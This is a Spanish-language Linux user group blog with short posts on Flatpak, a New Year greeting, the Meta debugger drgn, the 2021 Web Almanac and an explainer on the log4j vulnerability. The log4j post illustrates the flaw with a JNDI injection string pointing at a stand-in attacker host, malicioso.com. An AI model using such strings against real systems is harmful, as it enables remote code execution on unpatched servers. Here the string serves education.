Grupo Linuxero del Bajío

aplanando paquetes, o flatpakin'

Víctor Manuel Jáquez Leal

El propósito de este texto es intentar explicar la tecnología flatpak [1].

Aquellos días donde cada distribución se enorgullecía de la cantidad de paquetes que mantenía, de su maravilloso sistema de paquetería (deb, rpm, recetas de compilación), se encuentran ya en su ocaso. No digo que desaparecerán, siguen siendo necesarias, pero para un número menor de paquetes. Ya no buscaremos, en la página de la distribución, si ya tienen empaquetada la última versión de la aplicación que necesitamos.

Ahora, las aplicaciones se empaquetarán y distribuirán a través del sistema flatpak.

Habrá a quienes no les interese esto y permanecerán fieles a su distribución o a quemar ciclos de CPU y de vida para compilar todo. Pero para quienes la computadora es una herramienta más, Flatpak es una respuesta a un reclamo común: bajar, instalar, usar y actualizar la aplicación que usamos, sin necesidad de saber, siquiera, qué distribución estamos usando. ¡Y lo mismo para los desarrolladores! Ya no tienen que hacer, o pedir, recetas de empaquetado para cada distribución que desean soportar.

Flatpak, entonces, es una tecnología muy cercana a la virtualización, entendida como la capacidad de ejecutar una computadora virtual dentro de una computadora real. Si han usado gnome-boxes [2] o qemu [3], tendrán más clara la idea.

Flatpak, exceptuando la arquitectura del CPU (amd64, arm, etc), virtualiza casi todo, lo que permite controlar finamente los recursos que la aplicación solicita. Piénsenlo como cuando se instala una aplicación en Android y les avisa que necesita acceder a la red, a los contactos, a la cámara, etcétera. Pues hagan de cuenta…

Por tanto, ejecutar o compilar una aplicación en Flatpak implica una indirección: se le ordena a la computadora real que le ordene a la computadora virtual ejecutar una acción, y está podrá, o no, ejecutarlo dependiendo del entorno de ejecución, restringido, que tiene configurado.

Flatpak utiliza una tecnología llamada OSTree [4], que es una capa de abstracción sobre el sistema de archivos del sistema operativo, con un espíritu similar a git: transaccional, historial inmutable, con soporte de ramas locales y repositorios remotos, etcétera. Para fines prácticos es un sistema de archivos de sólo lectura, donde las modificaciones se hacen solamente bajo ciertas condiciones.

El principio de las aplicaciones distribuidas por Flatpak es que son, en principio, autocontenidas. Es decir, contienen dentro de ellas mismas todas las dependencias requeridas. Sin embargo, esto es poco práctico para dependencias comunes como las que provee Freedesktop, GNOME y KDE, así que se distribuyen las llamadas application platforms, que básicamente son el conjunto de estas dependencias, versionadas. También hay runtimes, que son librerías del sistema como Mesa u otras implementaciones de OpenGL (por ejemplo las privativas de NVIDIA). Por tanto, cuando se instala una aplicación en Flatpak, esta contiene el manifiesto con la application platform y su versión que necesita.

Finalmente, hay repositorios de flatpak de donde uno puede instalar aplicaciones listas para usar. El más importante y usado es flathub [5].

En conclusión, como usuario, simplemente disfruta de aplicaciones chidas independientemente de tu distribución. Como desarrollador, pos hay que estudiar un poco más para desarrollar para estos entornos (por la indirección a la que obligan, hacen un poco más complejo el debugging).

  1. https://flatpak.org/
  2. https://help.gnome.org/users/gnome-boxes/stable/
  3. https://www.qemu.org/
  4. https://ostreedev.github.io/ostree/
  5. https://flathub.org

El mejor 2022 de todos los posibles

Víctor Manuel Jáquez Leal

Que este año nuevo, 2022, nos sea leve; que sea el mejor de todos los posibles.

¿qué pasó con log4j?

Víctor Manuel Jáquez Leal

Para estas alturas posiblemente todos ya estarán enterados del fallo de seguridad en log4j[1], aunque creo que vale la pena repasarlo.

Todo software más o menos complejo registra los eventos que le conciernen. La forma más simple de registrar estos eventos, sería imprimir en la salida estándar o de error un mensaje, humanamente legible, describiendo el evento en cuestión. Pero el registro de eventos puede complicarse al grado de que existen bibliotecas de software específicas que abstraen esta actividad. Hay bibliotecas de “logging” (como se conoce al registro de eventos) para todos los lenguajes, y log4j[2] es uno de los disponibles para Java.

¿En qué consiste el bug?

En pocas palabras, log4j “parsea” los mensajes a registrar en búsqueda de variables que puede reemplazar. Por ejemplo, el programador loggea este mensaje:

logger.info(“El usuario” + user + ” ha entrado”).

Entonces log4j parsea la cadena y sabe que la variable user, en el estado actual de la aplicación es “ceyusa”, por lo que finalmente escribe en bitácora

12:38:10.234 [main] INFO Main - El usuario ‘ceyusa’ ha entrado

Esto es muy útil, pero como todos los datos proveeidos por el usuario, son potencialmente peligrosos, máxime si éstos viajan por red.

Supongamos que el usuario puede cambiar su nombre de usuario de “ceyusa” a “${java:version}”. log4j parseará esa cadena y verá que es un programa en java que ejectua, por lo que el resultado será:

12:38:10.234 [main] INFO Main - El usuario ‘Java version 1.8.0_213’ ha entrado

Por otro lado, hay una cosa en Java que se llama JNDI: Java Naming and Directory Interface[3]. Es una interfaz para indicar, a la máquina virtual de Java, la localización de un recurso remoto, por ejemplo una base de datos, un Enterprise Java Bean, etcétera. Uno de los usos más comunes es obtener información de un directorio a través del protocol LDAP.

En nuestro ejemplo, el usuario podría cambiar su nombre de usuario por ‘${jndi:ldap://malicioso.com:1389/123}’. Lo que haría log4j sería parsear esa cadena y ejectuarla. Al usar la API de JNDI, sabrá que el contenido de esa variable se encuentra en un servidor remoto, llamado malicioso.com, usando el protocolo LDAP y obtendrá el registro con la llave 123. Este servidor remoto puede estar bajo control del atacante y devolverá una cadena que se ejecutará dentro de la máquina virtual de Java que ejecuta de nuestra inocente aplicación, como, por ejemplo, lanzar una terminal en un puerto TCP (el típico remote backdoor).

¿Por qué es tan reelevante?

  1. Hay un montón de software en Java, legacy, sin mantener, ejecutándose en internet, usando una versión vulnerable de log4j.
  2. Hay un montón de software en Java, mantenido, pero que tiene una dependencia fuerte a un framework que usa una versión vulnerable de log4j.
  3. Hay demasiado software en Java, como en bancos, controladores aeropuertuarios, etc.

Finalmente, nos remite al cartón de XKCD[4] sobre tener dependencias profundas de software, en sistemas complejos. O, al otro, clásico, sobre no confiar, nunca, en lo absoluto, en las entradas del sistema[5].

Es más, hay quien toma esta situación como argumento para evitar esos grantes frameworks totalizantes, y que sólo el lenguaje de programación sea nuestro framework[6].

  1. https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  2. https://logging.apache.org/log4j/2.x/
  3. https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
  4. https://xkcd.com/2347/
  5. https://xkcd.com/327/
  6. https://twitter.com/tomaka17/status/1470022487790571522

drgn, el debugger de los programadores de facebook

Víctor Manuel Jáquez Leal

Sin ímpetus de coherencia la susodicha red social no es santo de mi devoción, mucho menos su dueño y su accionistas, mas debo decir que sus desarrolladores hacen cosas muy interesantes que luego tienen la amabilidad de publicar como software libre [1], como su transpilador a PHP[2].

Pues ahora presentan su debugger, otro reemplazo a gdb, pero ahora usando Python como interfaz con el usuario, llamado drgn[3]. Me parece interesante, aunque yo soy más de debug a punta de printf.

  1. https://github.com/facebook
  2. https://hacklang.org/
  3. https://developers.facebook.com/blog/post/2021/12/09/drgn-how-linux-kernel-team-meta-debugs-kernel-scale/

El almanaque de la web

Víctor Manuel Jáquez Leal

Acaba de publicarse El Almanaque de la Web, 2021.

El Almanaque de la Web es un esfuerzo por sintetizar el estado de la web, un compendio de cuáles y cómo se usan las diferentes tecnologías que componen la World Wide Web, a decir, HTML, JavaScript, CSS, WebAssembly, y un largo etcétera.

https://almanac.httparchive.org/en/2021/table-of-contents